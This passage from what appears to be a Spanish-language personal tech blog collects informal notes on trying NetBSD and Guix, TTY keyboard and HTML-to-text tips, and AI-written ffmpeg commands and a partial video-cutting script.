https://imlauera.github.io/try_netbsd/
<p>Funcionaba todo lento. Y chromium tenía un flickering tremendo, aparte como es BSD los algunos scripts de bash que tenía tiraba error el comando <code>date</code> aparentemente la sintaxis es diferente aunque sea bash.</p>
<p>En NetBSD no existe el “framebuffer” así que no tenes fbida (fbpdf para leer pdfs y fbi para ver imágenes).</p>
<ul>
<li><code>/dev/fb0</code> no existe.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export PKG_PATH<span style="color:#f92672">=</span>https://cdn.NetBSD.org/pub/pkgsrc/packages/NetBSD/10.1/x86_64/
</span></span><span style="display:flex;"><span>pkg_add pkgin not found
</span></span><span style="display:flex;"><span>PKG_PATH<span style="color:#f92672">=</span>https://cdn.NetBSD.org/pub/pkgsrc/packages/NetBSD/amd64/10.1/All
</span></span><span style="display:flex;"><span>PKG_PATH<span style="color:#f92672">=</span><span style="color:#e6db74">"https://cdn.NetBSD.org/pub/pkgsrc/packages/</span><span style="color:#66d9ef">$(</span>uname -s<span style="color:#66d9ef">)</span><span style="color:#e6db74">/</span><span style="color:#66d9ef">$(</span>uname -m<span style="color:#66d9ef">)</span><span style="color:#e6db74">/</span><span style="color:#66d9ef">$(</span>uname -r | cut -f <span style="color:#e6db74">'1 2'</span> -d.<span style="color:#66d9ef">)</span><span style="color:#e6db74">/All"</span>
</span></span><span style="display:flex;"><span>pkg_add pkgin not found <span style="color:#75715e"># pkgin es frontend para las herramientas pkg_*</span>
</span></span><span style="display:flex;"><span>su
</span></span><span style="display:flex;"><span>pkg_add w3m tmux newsraft pkgin
</span></span><span style="display:flex;"><span>pkg install dwm dmenu mpv yt-dlp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Segui mi instalacion de archlinux o de gentoo <span style="color:#f92672">(</span>los nombre de los programas<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Otter-browser esta disponible en pkgsrc pero no esta en pkgin porque pkgin solo tiene binarios, pkgsrc tenes que compilarlo.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># No hace falta, si usas PKG_PATH.</span>
</span></span><span style="display:flex;"><span>ls /usr/pkgsrc: No such file or directory
</span></span><span style="display:flex;"><span>su
</span></span><span style="display:flex;"><span>cd /usr; ftp https://cdn.NetBSD.org/pub/pkgsrc/current/pkgsrc.tar.gz
</span></span><span style="display:flex;"><span>tar xvf pkgsrc.tar.gz
</span></span><span style="display:flex;"><span>cd /usr/pkgsrc/net/netbssd
</span></span><span style="display:flex;"><span>make install clean
</span></span><span style="display:flex;"><span>/usr/pkg/sbin/netbssd -h
</span></span><span style="display:flex;"><span>pkg_info | grep netbssd
</span></span><span style="display:flex;"><span>ls /usr/pkgsrc/net | grep bsd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Para solucionar flickering en mi intel celeron con igpu integrada.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Section <span style="color:#e6db74">"Device"</span>
</span></span><span style="display:flex;"><span> Identifier <span style="color:#e6db74">"Intel Graphics"</span>
</span></span><span style="display:flex;"><span> Driver <span style="color:#e6db74">"modesetting"</span>
</span></span><span style="display:flex;"><span> Option <span style="color:#e6db74">"AccelMethod"</span> <span style="color:#e6db74">"none"</span>
</span></span><span style="display:flex;"><span>EndSection
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>doas sin contraseña tenes que agregar alias sudo<span style="color:#f92672">=</span><span style="color:#e6db74">"doas"</span> en el .shrc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/usr/pkg/etc/doas.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>permit persist :wheel
</span></span><span style="display:flex;"><span>permit nopass esotericwarfare
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>XTerm*locale: true
</span></span><span style="display:flex;"><span>XTerm*utf8: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>xterm*background:black
</span></span><span style="display:flex;"><span>xterm*foreground:white
</span></span><span style="display:flex;"><span>xterm*faceName:Monospace
</span></span><span style="display:flex;"><span>xterm*faceSize:15
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># al pedo</span>
</span></span><span style="display:flex;"><span>groupadd video
</span></span><span style="display:flex;"><span>sudo usermod -G video,wheel <your_username>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>su
</span></span><span style="display:flex;"><span>X -configure
</span></span><span style="display:flex;"><span>mv /root/xorg.conf.new /etc/X11/xorg.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Tenia xterm asi que hice esto primero cree un system link pero no funciono, asi que cree archivo bash
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo /usr/bin/pkg/vim /usr/pkg/bin/st
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh</span>
</span></span><span style="display:flex;"><span>xterm
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xD sino no me tomaba la configuracion del .Xdefaults .Xresources
</span></span></code></pre></div><p><img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_000530662.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_000530662_thumb.jpg">
<img src="https://archive.org/download/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_001830932.jpg" alt="https://archive.org/download/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_001830932_thumb.jpg">
<img src="https://archive.org/download/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_041802529.jpg" alt="https://archive.org/download/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_041802529_thumb.jpg">
<img src="https://archive.org/download/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055816886.jpg" alt="https://archive.org/download/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055816886_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055816886.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055816886_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055826300.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055826300_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055832445.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055832445_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055836260.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055836260_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055840909.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055840909_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055845685.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055845685_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055923430.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055923430_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055928943.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_055928943_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_060048076_BURST001.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_060048076_BURST001_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_060103022_BURST000_COVER_TOP.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_060103022_BURST000_COVER_TOP_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_060108397_BURST001.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_060108397_BURST001_thumb.jpg">
<img src="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_060118438.jpg" alt="https://ia600709.us.archive.org/17/items/2025-12-27-netbsd_archlinux_pasto-images/IMG_20251227_060118438_thumb.jpg"></p>
-
Intenté usar Guix GNU/Linux el día de navidad.
https://imlauera.github.io/guix/
Wed, 24 Dec 2025 20:53:39 -0300
https://imlauera.github.io/guix/
<p>Toda la configuración está escrita en Lisp (Scheme).</p>
<p>Lisp constituye una familia de lenguajes de programación minimalistas como Common Lisp, Scheme o Clojure, todos descienden de un viejo lenguaje de LISP (1960 creado por John McCarthy).</p>
<h2 id="1-preparación-inicial-desde-el-usb-de-guix">1. Preparación inicial (desde el USB de Guix)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Cargar teclado español</span>
</span></span><span style="display:flex;"><span>loadkeys es
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Conectar WiFi</span>
</span></span><span style="display:flex;"><span>rfkill unblock all
</span></span><span style="display:flex;"><span>nmcli device wifi list
</span></span><span style="display:flex;"><span>nmcli device wifi connect <span style="color:#e6db74">"tu-ssid"</span> password <span style="color:#e6db74">"tu-password"</span>
</span></span></code></pre></div><h2 id="2-particionado-igual-que-en-arch-con-gptuefi">2. Particionado (igual que en Arch con GPT/UEFI)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cfdisk /dev/sda
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Crear:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># - /dev/sda1: 512M (EFI System)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># - /dev/sda2: 4G (Linux swap)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># - /dev/sda3: resto (Linux filesystem)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Formatear</span>
</span></span><span style="display:flex;"><span>mkfs.fat -F32 /dev/sda1
</span></span><span style="display:flex;"><span>mkswap /dev/sda2
</span></span><span style="display:flex;"><span>mkfs.ext4 /dev/sda3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Montar</span>
</span></span><span style="display:flex;"><span>mount /dev/sda3 /mnt
</span></span><span style="display:flex;"><span>mkdir -p /mnt/boot/efi
</span></span><span style="display:flex;"><span>mount /dev/sda1 /mnt/boot/efi
</span></span><span style="display:flex;"><span>swapon /dev/sda2
</span></span></code></pre></div><h2 id="3-crear-configuración-base-de-guix">3. Crear configuración base de Guix</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Generar configuración inicial</span>
</span></span><span style="display:flex;"><span>herd start cow-store /mnt
</span></span><span style="display:flex;"><span>guix system init /mnt/etc/config.scm /mnt
</span></span></code></pre></div><p>Pero antes necesitás crear el archivo <code>/mnt/etc/config.scm</code>. Acá va el equivalente a tu setup de Arch:</p>
-
Html to text
https://imlauera.github.io/html_to_text/
Tue, 23 Dec 2025 02:31:24 -0300
https://imlauera.github.io/html_to_text/
<p>links -dump asdf.html > asdf.txt
pandoc -f html -t plain input.html -o output.txt</p>
-
Russiankeyboardtty
https://imlauera.github.io/russiankeyboardtty/
Mon, 22 Dec 2025 04:57:09 -0300
https://imlauera.github.io/russiankeyboardtty/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo setfont latarcyrheb-sun32
</span></span><span style="display:flex;"><span>sudo loadkeys ru-yawerty
</span></span></code></pre></div><p>Lo cambias con Alt+Shift</p>
-
Capture Anarch game from TTY
https://imlauera.github.io/capture_anarch_tty/
Sun, 21 Dec 2025 23:04:43 -0300
https://imlauera.github.io/capture_anarch_tty/
<h1 id="claude">Claude.</h1>
<p>Ah, <strong>Anarch</strong>! That’s a great retro FPS. It’s designed to be extremely portable and can run in various modes.</p>
<h2 id="for-anarch-specifically"><strong>For Anarch specifically:</strong></h2>
<p>Anarch supports multiple SDL backends. In TTY mode, it most likely uses <strong>SDL framebuffer</strong> or <strong>SDL with fbcon/fbdev</strong>.</p>
<h3 id="basic-capture-command"><strong>Basic capture command:</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f fbdev -framerate <span style="color:#ae81ff">30</span> -i /dev/fb0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -vf <span style="color:#e6db74">"scale=1024:-2"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -preset ultrafast -crf <span style="color:#ae81ff">23</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> output.mkv
</span></span></code></pre></div><h3 id="with-audio-anarch-has-sound"><strong>With audio (Anarch has sound):</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f alsa -i default <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -f fbdev -framerate <span style="color:#ae81ff">30</span> -i /dev/fb0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -vf <span style="color:#e6db74">"scale=1024:-2"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -preset ultrafast -crf <span style="color:#ae81ff">23</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:a aac -b:a 128k <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> output.mkv
</span></span></code></pre></div><hr>
<h2 id="recommended-workflow"><strong>Recommended workflow:</strong></h2>
<ol>
<li>
<p><strong>Start ffmpeg capture in one TTY</strong> (e.g., TTY2):</p>
-
Claude make short
https://imlauera.github.io/claude_make_short/
Sun, 21 Dec 2025 01:06:58 -0300
https://imlauera.github.io/claude_make_short/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Script para dividir video horizontal en 4 cuadros verticales, concatenar segmentos y quemar subtítulos</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Uso: ./concat.sh "persona:inicio:duracion persona:inicio:duracion ..." video.mp4 [subtitulos.srt]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $# -lt <span style="color:#ae81ff">2</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Uso: </span>$0<span style="color:#e6db74"> \"segmentos\" video.mp4 [subtitulos.srt]"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Formato de segmentos: \"persona:inicio:duracion persona:inicio:duracion ...\""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" persona: 1-4 (de izquierda a derecha)"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" inicio: segundo de inicio"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" duracion: duración en segundos del corte"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Ejemplo SIN subtítulos:"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" </span>$0<span style="color:#e6db74"> \"1:1140:3 3:1144:2\" video.mp4"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Ejemplo CON subtítulos:"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" </span>$0<span style="color:#e6db74"> \"1:1140:3 3:1144:2\" video.mp4 subtitulos.srt"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SEGMENTS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>INPUT_VIDEO<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>INPUT_SRT<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>OUTPUT_VIDEO<span style="color:#f92672">=</span><span style="color:#e6db74">"output_vertical_</span><span style="color:#66d9ef">$(</span>date +%s<span style="color:#66d9ef">)</span><span style="color:#e6db74">.mp4"</span>
</span></span><span style="display:flex;"><span>TEMP_DIR<span style="color:#f92672">=</span><span style="color:#e6db74">"temp_segments_</span>$$<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span>$INPUT_VIDEO<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Error: El archivo '</span>$INPUT_VIDEO<span style="color:#e6db74">' no existe"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>USE_SUBTITLES<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -n <span style="color:#e6db74">"</span>$INPUT_SRT<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span>$INPUT_SRT<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Error: El archivo de subtítulos '</span>$INPUT_SRT<span style="color:#e6db74">' no existe"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> USE_SUBTITLES<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"✓ Se quemarán subtítulos desde: </span>$INPUT_SRT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Verificar ffmpeg</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ! command -v ffmpeg &> /dev/null; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Error: ffmpeg no está instalado"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Verificar bc</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ! command -v bc &> /dev/null; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Error: bc no está instalado (necesario para cálculos)"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"========================================"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Cortador y Concatenador de Videos"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"========================================"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Video: </span>$INPUT_VIDEO<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Segmentos: </span>$SEGMENTS<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Crear directorio temporal</span>
</span></span><span style="display:flex;"><span>mkdir -p <span style="color:#e6db74">"</span>$TEMP_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Obtener dimensiones del video</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Analizando video..."</span>
</span></span><span style="display:flex;"><span>VIDEO_INFO<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>ffprobe -v error -select_streams v:0 -show_entries stream<span style="color:#f92672">=</span>width,height -of csv<span style="color:#f92672">=</span>s<span style="color:#f92672">=</span>x:p<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> <span style="color:#e6db74">"</span>$INPUT_VIDEO<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>WIDTH<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$VIDEO_INFO<span style="color:#e6db74">"</span> | cut -d<span style="color:#e6db74">'x'</span> -f1<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>HEIGHT<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$VIDEO_INFO<span style="color:#e6db74">"</span> | cut -d<span style="color:#e6db74">'x'</span> -f2<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Dimensiones originales: </span><span style="color:#e6db74">${</span>WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">x</span><span style="color:#e6db74">${</span>HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Calcular dimensiones de cada cuadro</span>
</span></span><span style="display:flex;"><span>QUAD_WIDTH<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span>WIDTH <span style="color:#f92672">/</span> <span style="color:#ae81ff">4</span><span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Ancho de cada cuadro: </span><span style="color:#e6db74">${</span>QUAD_WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">px"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Dimensiones verticales para redes sociales (9:16)</span>
</span></span><span style="display:flex;"><span>VERTICAL_WIDTH<span style="color:#f92672">=</span><span style="color:#ae81ff">1080</span>
</span></span><span style="display:flex;"><span>VERTICAL_HEIGHT<span style="color:#f92672">=</span><span style="color:#ae81ff">1920</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Formato de salida: </span><span style="color:#e6db74">${</span>VERTICAL_WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">x</span><span style="color:#e6db74">${</span>VERTICAL_HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74"> (9:16 - vertical)"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Función para convertir timestamp SRT a segundos</span>
</span></span><span style="display:flex;"><span>timestamp_to_seconds<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> local timestamp<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> local hours<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$timestamp<span style="color:#e6db74">"</span> | cut -d<span style="color:#e6db74">':'</span> -f1 | sed <span style="color:#e6db74">'s/^0*//'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> local minutes<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$timestamp<span style="color:#e6db74">"</span> | cut -d<span style="color:#e6db74">':'</span> -f2 | sed <span style="color:#e6db74">'s/^0*//'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> local seconds<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$timestamp<span style="color:#e6db74">"</span> | cut -d<span style="color:#e6db74">':'</span> -f3 | cut -d<span style="color:#e6db74">','</span> -f1 | sed <span style="color:#e6db74">'s/^0*//'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> local milliseconds<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$timestamp<span style="color:#e6db74">"</span> | cut -d<span style="color:#e6db74">','</span> -f2 | sed <span style="color:#e6db74">'s/^0*//'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$hours<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> hours<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$minutes<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> minutes<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$seconds<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> seconds<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$milliseconds<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> milliseconds<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</span>$hours<span style="color:#e6db74"> * 3600 + </span>$minutes<span style="color:#e6db74"> * 60 + </span>$seconds<span style="color:#e6db74"> + </span>$milliseconds<span style="color:#e6db74"> / 1000"</span> | bc -l
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Función para convertir segundos a timestamp SRT</span>
</span></span><span style="display:flex;"><span>seconds_to_timestamp<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> local total_seconds<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
